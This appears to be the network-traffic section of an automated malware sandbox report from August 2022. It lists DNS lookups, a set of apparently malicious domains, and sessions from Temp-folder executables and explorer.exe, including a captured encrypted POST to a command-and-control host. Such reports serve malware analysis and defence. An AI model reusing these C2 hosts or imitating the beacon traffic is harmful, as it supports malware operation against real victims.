Aug 31, 2022 14:29:19.237052917 CEST	8.8.8.8	192.168.2.4	0x7735	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.237052917 CEST	8.8.8.8	192.168.2.4	0x7735	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.440732002 CEST	8.8.8.8	192.168.2.4	0xa145	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.440732002 CEST	8.8.8.8	192.168.2.4	0xa145	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.646167040 CEST	8.8.8.8	192.168.2.4	0xf77a	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.646167040 CEST	8.8.8.8	192.168.2.4	0xf77a	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.879165888 CEST	8.8.8.8	192.168.2.4	0xb63a	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.879165888 CEST	8.8.8.8	192.168.2.4	0xb63a	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:24.588773012 CEST	8.8.8.8	192.168.2.4	0x55aa	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:24.588773012 CEST	8.8.8.8	192.168.2.4	0x55aa	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.182080984 CEST	8.8.8.8	192.168.2.4	0x8115	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.182080984 CEST	8.8.8.8	192.168.2.4	0x8115	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.559067011 CEST	8.8.8.8	192.168.2.4	0x3da6	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.559067011 CEST	8.8.8.8	192.168.2.4	0x3da6	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:26.006109953 CEST	8.8.8.8	192.168.2.4	0x26af	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:26.006109953 CEST	8.8.8.8	192.168.2.4	0x26af	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:26.804950953 CEST	8.8.8.8	192.168.2.4	0x41c4	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:26.804950953 CEST	8.8.8.8	192.168.2.4	0x41c4	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:27.586805105 CEST	8.8.8.8	192.168.2.4	0xa5c7	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:27.586805105 CEST	8.8.8.8	192.168.2.4	0xa5c7	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.213385105 CEST	8.8.8.8	192.168.2.4	0xc809	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.213385105 CEST	8.8.8.8	192.168.2.4	0xc809	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.897238016 CEST	8.8.8.8	192.168.2.4	0x4b04	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.897238016 CEST	8.8.8.8	192.168.2.4	0x4b04	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:29.885409117 CEST	8.8.8.8	192.168.2.4	0x8561	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:29.885409117 CEST	8.8.8.8	192.168.2.4	0x8561	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:31.149539948 CEST	8.8.8.8	192.168.2.4	0x853d	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:31.149539948 CEST	8.8.8.8	192.168.2.4	0x853d	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:32.014664888 CEST	8.8.8.8	192.168.2.4	0x23ff	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:32.014664888 CEST	8.8.8.8	192.168.2.4	0x23ff	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:32.889736891 CEST	8.8.8.8	192.168.2.4	0x1d10	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:32.889736891 CEST	8.8.8.8	192.168.2.4	0x1d10	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:33.778192043 CEST	8.8.8.8	192.168.2.4	0xcb49	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:33.778192043 CEST	8.8.8.8	192.168.2.4	0xcb49	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		46.194.108.30	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		210.182.29.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		211.171.233.129	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		211.53.230.67	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.241529942 CEST	8.8.8.8	192.168.2.4	0x4672	No error (0)	azd.at		189.156.116.190	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:43.660070896 CEST	8.8.8.8	192.168.2.4	0xe56b	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:43.660070896 CEST	8.8.8.8	192.168.2.4	0xe56b	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:50.652793884 CEST	8.8.8.8	192.168.2.4	0xaba5	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:50.652793884 CEST	8.8.8.8	192.168.2.4	0xaba5	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:58.814104080 CEST	8.8.8.8	192.168.2.4	0x3c87	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:58.814104080 CEST	8.8.8.8	192.168.2.4	0x3c87	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:02.425009012 CEST	8.8.8.8	192.168.2.4	0xda6	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:02.425009012 CEST	8.8.8.8	192.168.2.4	0xda6	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:05.818798065 CEST	8.8.8.8	192.168.2.4	0x1387	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:05.818798065 CEST	8.8.8.8	192.168.2.4	0x1387	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:09.713216066 CEST	8.8.8.8	192.168.2.4	0xa854	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:09.713216066 CEST	8.8.8.8	192.168.2.4	0xa854	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:12.396928072 CEST	8.8.8.8	192.168.2.4	0x58ff	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:12.396928072 CEST	8.8.8.8	192.168.2.4	0x58ff	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:14.720110893 CEST	8.8.8.8	192.168.2.4	0x2728	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:14.720110893 CEST	8.8.8.8	192.168.2.4	0x2728	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:22.648915052 CEST	8.8.8.8	192.168.2.4	0x906d	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:22.648915052 CEST	8.8.8.8	192.168.2.4	0x906d	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:33.391804934 CEST	8.8.8.8	192.168.2.4	0x4f67	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:33.391804934 CEST	8.8.8.8	192.168.2.4	0x4f67	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:43.981362104 CEST	8.8.8.8	192.168.2.4	0x123a	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:43.981362104 CEST	8.8.8.8	192.168.2.4	0x123a	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:50.247392893 CEST	8.8.8.8	192.168.2.4	0x74a0	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:50.247392893 CEST	8.8.8.8	192.168.2.4	0x74a0	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.2ip.ua

i.xyzgamei.com

b.game2723.com

amrhomedecor.com

www.amrhomedecor.com

trustnero.com

fakermet.com

v.xyzgamev.com

txmbkk.org

linislominyt11.at

idhkmbecx.com

kbpkwp.org

rgsasmcll.net

fpiygfd.com

baldtc.com

stylesheet.faseaegasdfase.com

ihrksjf.net

ip-api.com

wyort.net

www.hhiuew33.com

savaqvdnf.net

yauem.org

ecoxfog.org

wbvrlh.com

bffvmt.com

kybocij.org

lfvfjrqay.org

xvhcssv.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49727	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D7DE.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49732	172.67.137.109	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49749	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49750	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49751	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49753	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49754	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49755	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49756	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49757	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49758	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49759	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49733	188.114.96.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49760	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49763	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49764	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49765	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49766	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	45286	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49769	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49770	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49771	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49772	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49738	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49773	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49774	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49775	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49776	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49779	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49780	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49782	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49783	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49784	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49787	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49739	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49788	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49789	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49790	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49792	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49793	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49794	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49795	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49796	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49797	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49798	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49744	104.21.1.91	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49799	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49800	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49801	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49802	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49803	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49804	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49806	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49807	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49808	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49809	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49745	172.67.202.54	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49810	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49811	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49813	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49814	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49815	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49816	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49817	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49720	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:13.478497982 CEST	8335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://txmbkk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: linislominyt11.at
Aug 31, 2022 14:28:13.478513002 CEST	8335	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 8b cb 0b a7 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOtl.?VG%TR#2XD`:{$,St
Aug 31, 2022 14:28:14.336330891 CEST	8337	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:14 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 19 00 00 00 1d 3d 5a e6 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 